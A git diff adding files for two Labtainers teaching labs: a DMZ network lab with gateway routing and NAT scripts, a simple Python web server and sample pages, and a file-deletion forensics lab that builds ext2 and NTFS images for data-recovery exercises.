b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_system/sbin/faux_init new file mode 100755 index 000000000..2a99fffe5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +/etc/init.d/mynotify.sh start +/etc/init.d/ulogd2 start + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_gw/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_gw/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_gw/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_gw/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_gw/_system/etc/rc.local new file mode 100755 index 000000000..cfea37c4f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_gw/_system/etc/rc.local @@ -0,0 +1,25 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 198.18.0.1 +# +# get ethernet device names for the three interfaces +# +lan1=$(ifconfig | grep -B1 "inet addr:203.0.113.1" | awk '$1!="inet" && $1!="--" {print $1}') +wan=$(ifconfig | grep -B1 "inet addr:198.18.0.3" | awk '$1!="inet" && $1!="--" {print $1}') +# +# Define NAT for traffic from LANs to the WAN +# +iptables --flush +iptables -t nat --flush +iptables --delete-chain +iptables -t nat --delete-chain +iptables --table nat -I POSTROUTING 1 --out-interface $wan -j MASQUERADE +iptables --append FORWARD --in-interface $lan1 -j ACCEPT + +echo "nameserver 198.18.0.1" > /etc/resolv.conf +route del -host 172.17.0.1 + +# +# restart the DNS forwarder (rely on DNS provided by ISP) +# +/etc/init.d/dnsmasq restart + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_gw/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_gw/_system/sbin/faux_init new file mode 100755 index 000000000..21cbc5490 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_gw/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_ws/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_ws/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_ws/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_ws/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_ws/_bin/treataslocal new file mode 100644 index 000000000..733811f19 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_ws/_bin/treataslocal @@ -0,0 +1 @@ +nmap diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_ws/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_ws/_system/etc/rc.local new file mode 100755 index 000000000..7a51d5374 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_ws/_system/etc/rc.local @@ -0,0 +1,6 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 203.0.113.1 +echo "nameserver 203.0.113.1" > /etc/resolv.conf +route del -host 172.17.0.1 + +echo "nameserver 203.0.113.1" > /etc/resolv.conf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_ws/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_ws/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_ws/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/MyHTTPServer.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/MyHTTPServer.py new file mode 100755 index 000000000..4f3fb47bc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/MyHTTPServer.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python + +import SimpleHTTPServer +import SocketServer +import os +import sys + +PORT = 80 + +class MyHTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): + #log_file = open('myhttplogfile.txt', 'w') + log_file = open('/var/log/myhttplogfile.txt', 'w') + def log_message(self, format, *args): + self.log_file.write("%s - - [%s] %s\n" % + (self.client_address[0], + self.log_date_time_string(), + format%args)) + self.log_file.flush() + +Handler = MyHTTPHandler + +httpd = SocketServer.TCPServer(("", PORT), Handler) + +print "serving at port", PORT + +httpd.serve_forever() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/_bin/fixlocal.sh new file mode 100755 index 000000000..6fb6e27b7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/_bin/fixlocal.sh @@ -0,0 +1,11 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +sudo systemctl enable httpserver.service +sudo systemctl run httpserver.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/_system/etc/rc.d/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/_system/etc/rc.d/rc.local new file mode 100755 index 000000000..a21e6578c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/_system/etc/rc.d/rc.local @@ -0,0 +1,3 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 198.18.1.2 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/_system/etc/rc.local new file mode 100644 index 000000000..49f95a4b2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/_system/etc/rc.local @@ -0,0 +1,8 @@ +#!/bin/bash +echo "nameserver 198.18.1.3" >> /etc/resolv.conf +route del -host 172.17.0.1 + +echo "nameserver 198.18.1.3" > /etc/resolv.conf +route del -host 172.17.0.1 + +echo "nameserver 198.18.1.3" > /etc/resolv.conf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/_system/sbin/faux_init new file mode 100755 index 000000000..f1fc72d95 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + +/etc/init.d/httpserver.sh start + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/_system/var/www/html/index.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/_system/var/www/html/index.html new file mode 100644 index 000000000..ac9d0c5d5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/_system/var/www/html/index.html @@ -0,0 +1,10 @@ + + + + +

Hunderblunder and Thunder Turkey Ranch

+ +

Watch this space!

+ + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/index.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/index.html new file mode 100644 index 000000000..ff1b7c6c1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/index.html @@ -0,0 +1,12 @@ + +Sample index.html for MyHTTPServer + +

Sample index.html for MyHTTPServer

+
+

Links:

+
+link1.html +
+link2.html + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/link1.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/link1.html new file mode 100644 index 000000000..485184386 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/link1.html @@ -0,0 +1,15 @@ + +Sample link1.html for MyHTTPServer + +This is sample

link1.html

for MyHTTPServer +
+index.html +
+link2.html +
+# The secret string below will be replaced with a keyed hash +
+My secret string is: HTTP_SECRET +
+ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/link2.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/link2.html new file mode 100644 index 000000000..590447299 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/link2.html @@ -0,0 +1,15 @@ + +Sample link2.html for MyHTTPServer + +This is sample

link2.html

for MyHTTPServer +
+index.html +
+link1.html +
+# The secret string below will be replaced with a keyed hash +
+My secret string is: HTTP_SECRET +
+ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws1/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws1/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws1/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws1/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws1/_bin/treataslocal new file mode 100644 index 000000000..252d69627 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws1/_bin/treataslocal @@ -0,0 +1,2 @@ +nmap +wget diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws1/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws1/_system/etc/rc.local new file mode 100755 index 000000000..9f5d62fc8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws1/_system/etc/rc.local @@ -0,0 +1,8 @@ +#!/bin/bash +# Use gateway as the name server +# +date >/tmp/rc.log +echo "nameserver 198.18.1.3" > /etc/resolv.conf +/usr/bin/set_default_gw.sh 198.18.1.INNER_LAN1 +# remove the dns route so as to not confuse student +route del -host 172.17.0.1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws1/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws1/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws1/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_system/etc/rc.local new file mode 100755 index 000000000..a10a99d3f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_system/etc/rc.local @@ -0,0 +1,7 @@ +#!/bin/bash +# Use gateway as the name server +# +echo "nameserver 198.18.1.3" > /etc/resolv.conf +/usr/bin/set_default_gw.sh 198.18.1.INNER_LAN2 +# remove the dns route so as to not confuse student +sudo route del -host 172.17.0.1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_system/sbin/faux_init new file mode 100755 index 000000000..c65e59f14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws2/_system/sbin/faux_init @@ -0,0 +1,19 @@ + +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws3/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws3/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws3/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws3/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws3/_system/etc/rc.local new file mode 100644 index 000000000..73b02abc5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws3/_system/etc/rc.local @@ -0,0 +1,3 @@ +#!/bin/bash +echo "" > /etc/resolv.conf +echo "nameserver 198.18.1.3" > /etc/resolv.conf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws3/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws3/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/ws3/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/bin/init_images.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/bin/init_images.sh new file mode 100644 index 000000000..b44c77bd9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/bin/init_images.sh @@ -0,0 +1,21 @@ +#!/bin/bash +dd if=/dev/zero of=myfs.img bs=1k count=1k +mkfs.ext2 -F myfs.img +sudo mount -o loop myfs.img mnt +sudo chown student mnt + +echo “dumb filler” > mnt/fillerfile +echo “dumb filler” > mnt/fillerfile2 +echo “dumb filler” > mnt/fillerfile3 +echo “dumb filler” > mnt/fillerfile4 +echo “dumb filler” > mnt/fillerfile5 +echo “dumb filler” > mnt/fillerfile6 +echo “dumb filler” > mnt/fillerfile7 +echo “First file created” > mnt/file1 +echo “Second file created” > mnt/file2 +echo “Third file” > mnt/file3 + + +sudo umount mnt + +strings -td myfs.img diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/config/about.txt new file mode 100644 index 000000000..0f162c7f1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/config/about.txt @@ -0,0 +1 @@ +Data recovery from deleted files within EXT2 and NTFS file systems. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/config/parameter.config new file mode 100644 index 000000000..bc0806c56 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# +filler : RAND_REPLACE : .local/bin/fixlocal.sh : RND_MAX : 0 : 9 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/config/start.config new file mode 100644 index 000000000..f058b6d99 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/config/start.config @@ -0,0 +1,53 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER file-deletion + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED file-deletion_mike_master_seed + + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER file-deletion + # user name of user who interacts with the container. + USER student + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals defaults to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/dockerfiles/Dockerfile.file-deletion.file-deletion.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/dockerfiles/Dockerfile.file-deletion.file-deletion.student new file mode 100644 index 000000000..11ffdb28e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/dockerfiles/Dockerfile.file-deletion.file-deletion.student @@ -0,0 +1,54 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG apt_source + +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y ntfs-3g +# +# Install the system files found in the _system directory +# +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$lab.tar.gz $HOME +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/docs/Makefile new file mode 100644 index 000000000..8c889dccd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/docs/Makefile @@ -0,0 +1,6 @@ +file-deletion.pdf: file-deletion.docx + soffice --convert-to pdf file-deletion.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/docs/file-deletion-template.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/docs/file-deletion-template.docx new file mode 100755 index 000000000..292f95dce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/docs/file-deletion-template.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/docs/file-deletion.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/docs/file-deletion.docx new file mode 100755 index 000000000..d48be7045 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/docs/file-deletion.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/docs/read_first.txt new file mode 100644 index 000000000..a60635abf --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/docs/read_first.txt @@ -0,0 +1,8 @@ +The lab manual is at + file://LAB_DOCS/file-deletion.pdf +The report template at + file://LAB_DOCS/file-deletion-template.docx + +You may open those files by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/file-deletion/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/file-deletion/_bin/fixlocal.sh new file mode 100755 index 000000000..1be96e8eb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/file-deletion/_bin/fixlocal.sh @@ -0,0 +1,28 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# +cd $HOME +dd if=/dev/zero of=myfs.img bs=1k count=1k +mkfs.ext2 -F myfs.img +sudo mount -o loop myfs.img mnt +sudo chown student mnt +for i in `seq 0 RND_MAX`; do + fname="mnt/fillerf" + fname+=$i + echo “dumb filler” > $fname +done +echo “First file created” > mnt/file1 +echo “Second file created” > mnt/file2 +echo “Third file” > mnt/file3 +sudo umount mnt + +dd if=/dev/zero bs=1024 count=2048 of=ntfs.img +mkntfs -F ntfs.img +sudo mount -o loop ntfs.img mnt +sudo chown student mnt +echo “First file created” > mnt/file1 +echo “Second file created” > mnt/file2 +echo “Third file” > mnt/file3 +sudo umount mnt diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/file-deletion/_bin/precheck.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/file-deletion/_bin/precheck.sh new file mode 100755 index 000000000..b0076abdd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/file-deletion/_bin/precheck.sh @@ -0,0 +1,12 @@ +#!/bin/bash +# +# Invoked prior to each command that is tracked, +# i.e., either local commands or those in treataslocal +# +# Create a file listing of the mnt directory +# +cd $HOME +sudo mount -o loop $HOME/myfs.img $HOME/mnt +sudo ls -l $HOME/mnt +sudo umount $HOME/mnt + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/file-deletion/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/file-deletion/_bin/treataslocal new file mode 100644 index 000000000..fffec7af0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/file-deletion/_bin/treataslocal @@ -0,0 +1,4 @@ +# +# make timestamped copies of the dd output files +# +/bin/dd starts:of= diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/file-deletion/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/file-deletion/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/file-deletion/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/file-deletion/_system/sbin/shutdown_container b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/file-deletion/_system/sbin/shutdown_container new file mode 100755 index 000000000..e5aa6d1f2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/file-deletion/_system/sbin/shutdown_container @@ -0,0 +1,4 @@ +#!/bin/bash +PLIST=$(ps aux | grep '[b]ash -l' | awk '{print $2}') +kill $PLIST +kill -9 1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/instr_config/goals.config new file mode 100644 index 000000000..54644a422 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/instr_config/goals.config @@ -0,0 +1,13 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +# +# some counts of how many times utilties were invoked +# +#GROUP: counts of invoking different utilities +strings_td_myfs = value : strings_td_myfs +hexdump = value : hexdump +ntfsundelete_p = value : ntfsundelete_p +# viewed deleted file content if output of dd and file not in listing from checklocal +#DOC: viewed the deleted file content 